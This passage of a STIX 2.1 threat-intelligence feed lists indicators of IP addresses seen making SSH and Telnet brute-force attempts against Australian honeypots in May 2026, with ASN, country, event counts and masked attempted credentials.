      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0ae6436a-27bb-4848-9420-ff994d8c7492",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.85.204.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--08cd7a19-8624-4105-88ce-a6e1368f12ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--5666e6e5-f878-4df5-86bd-9456658d0af7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.93.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, 3**********4, l***x, s**********c, d*********r. Passwords observed (masked): 3***********4, 3**********4, w******t, 1**8, K********@.",
      "id": "indicator--ad937272-80ad-43e3-a36f-97dc3e578ca9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.213.142.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd.",
      "id": "indicator--d4ceb43c-449e-4fd8-acf8-7e800468e17d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 141077. Organisation(s): RSTNET.",
      "id": "indicator--71b5e982-0d90-4ab4-9fc6-0aae604fc0e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.156.17.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9534. Organisation(s): Binariang Berhad.",
      "id": "indicator--199f73af-2772-49d0-9a54-62956ee74ff0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.121.194.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--5dd52038-0d67-42a4-9d42-c6d6c9d1acc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.28.49.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--20b48abe-f78c-4afc-b3ae-480a26a5191f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.205.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--c309c8b1-51f5-4100-98d4-1f9c4f158343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.251.123.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 7545. Organisation(s): TPG Telecom Limited.",
      "id": "indicator--0f5ab5dc-911b-4c15-9188-0a513eba82f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.240.10.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--74c63b5a-500c-49fd-8b08-e75765ee3c80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.108.39.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--5de6f8dd-3616-4217-92b1-4147a5cd5777",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.178.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:15:11.000Z",
      "valid_until": "2026-06-16T07:15:08.000Z"
    },
    {
      "created": "2026-05-15T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB.",
      "id": "indicator--5aa5859b-35ed-4275-af16-16843ea3e0da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.54.243.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T08:15:10.000Z",
      "valid_until": "2026-06-16T08:15:08.000Z"
    },
    {
      "created": "2026-05-15T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--d8bda82d-9243-4d97-8e1f-1bd3775c9f08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.30.81.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T08:15:10.000Z",
      "valid_until": "2026-06-16T08:15:08.000Z"
    },
    {
      "created": "2026-05-15T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 266181. Organisation(s): GOLDEN LINK.",
      "id": "indicator--0dcd29d2-3342-4962-b006-6c1e1126809e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.233.118.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T08:15:10.000Z",
      "valid_until": "2026-06-16T08:15:08.000Z"
    },
    {
      "created": "2026-05-15T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--19c7efd3-d945-46b6-95a3-5401083c2001",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.186.209.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T08:15:10.000Z",
      "valid_until": "2026-06-16T08:15:08.000Z"
    },
    {
      "created": "2026-05-15T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--7409f189-19be-49e5-8341-436d93db4022",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.140.181.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T08:15:10.000Z",
      "valid_until": "2026-06-16T08:15:08.000Z"
    },
    {
      "created": "2026-05-15T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--709e7566-dc2b-4e19-87ca-184a613b1218",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.55.185.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T08:15:10.000Z",
      "valid_until": "2026-06-16T08:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 142623. Organisation(s): Momota Technologies.",
      "id": "indicator--80265951-7371-4e95-ae7d-9f2a2f37e747",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.37.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): w******t, 3**********4, t******r. Passwords observed (masked): 3***********4, 3**********4, t******r, w******t.",
      "id": "indicator--1a775fbd-837e-4d04-9fa8-b2dc495eb6a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.155.154.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a0185d5a-e482-4958-bd0c-56f60f42dc6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.232.28.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 10620. Organisation(s): Telmex Colombia S.A..",
      "id": "indicator--a152a512-85e8-4194-aa8a-3163e05b38ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.81.58.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a0334b7e-2026-4745-b005-98d28a6dd794",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.154.92.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network. Usernames observed (masked): r**t, s**********c. Passwords observed (masked): j****n, w******t, x*******2.",
      "id": "indicator--159fa739-9b1e-4c18-9d2e-a83dd69958d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.154.131.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--21e4aaee-5357-4d79-abd9-56208234ff51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.205.128.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): p*******3.",
      "id": "indicator--7c79c2d4-6910-4fad-94c5-2569087a6202",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.171.164.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): D********5.",
      "id": "indicator--546a7d29-de3c-4eaf-9eab-cf6411e9fc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.158.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T09:15:10.000Z",
      "valid_until": "2026-06-16T09:15:08.000Z"
    },
    {
      "created": "2026-05-15T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center.",
      "id": "indicator--23f8367f-10d4-43ca-a5bf-fd1c4f270a19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.245.100.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T10:15:12.000Z",
      "valid_until": "2026-06-16T10:15:08.000Z"
    },
    {
      "created": "2026-05-15T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc. Usernames observed (masked): p******s. Passwords observed (masked): d**************0.",
      "id": "indicator--6c45718e-19b0-480c-9c2f-519b668c3581",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.105.211.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T10:15:12.000Z",
      "valid_until": "2026-06-16T10:15:08.000Z"
    },
    {
      "created": "2026-05-15T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 61663. Organisation(s): INFOLINE BANDA LARGA. Usernames observed (masked): r**t. Passwords observed (masked): t******0.",
      "id": "indicator--59a8d691-4844-4311-93dc-2c147c68dd60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.100.242.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T10:15:12.000Z",
      "valid_until": "2026-06-16T10:15:08.000Z"
    },
    {
      "created": "2026-05-15T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c017f1a0-ccee-4d64-9ca1-58f2132734e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.233.112.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T10:15:12.000Z",
      "valid_until": "2026-06-16T10:15:08.000Z"
    },
    {
      "created": "2026-05-15T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--32ec1050-f45f-46a6-9f2e-cf645807f1fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.128.82.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T10:15:12.000Z",
      "valid_until": "2026-06-16T10:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135222. Organisation(s): MilesWeb Internet Services Pvt Ltd. Usernames observed (masked): r**t, d*********r, 3**********4, l***x. Passwords observed (masked): !******2, 1**********c, 3***********4, 3**********4, W*******1.",
      "id": "indicator--1a063cb4-3478-450f-9433-2053bdfd5efd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.86.177.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 496. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 50661. Organisation(s): Telkab sp. z o.o.. Usernames observed (masked): r**t, 3**********4, d*********r, u**********r, ***. Passwords observed (masked): 3***********4, 3**********4, w******t, l******3, 1****c.",
      "id": "indicator--104e494d-cf80-40ae-9332-4a0cfc4b1f64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.207.155.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
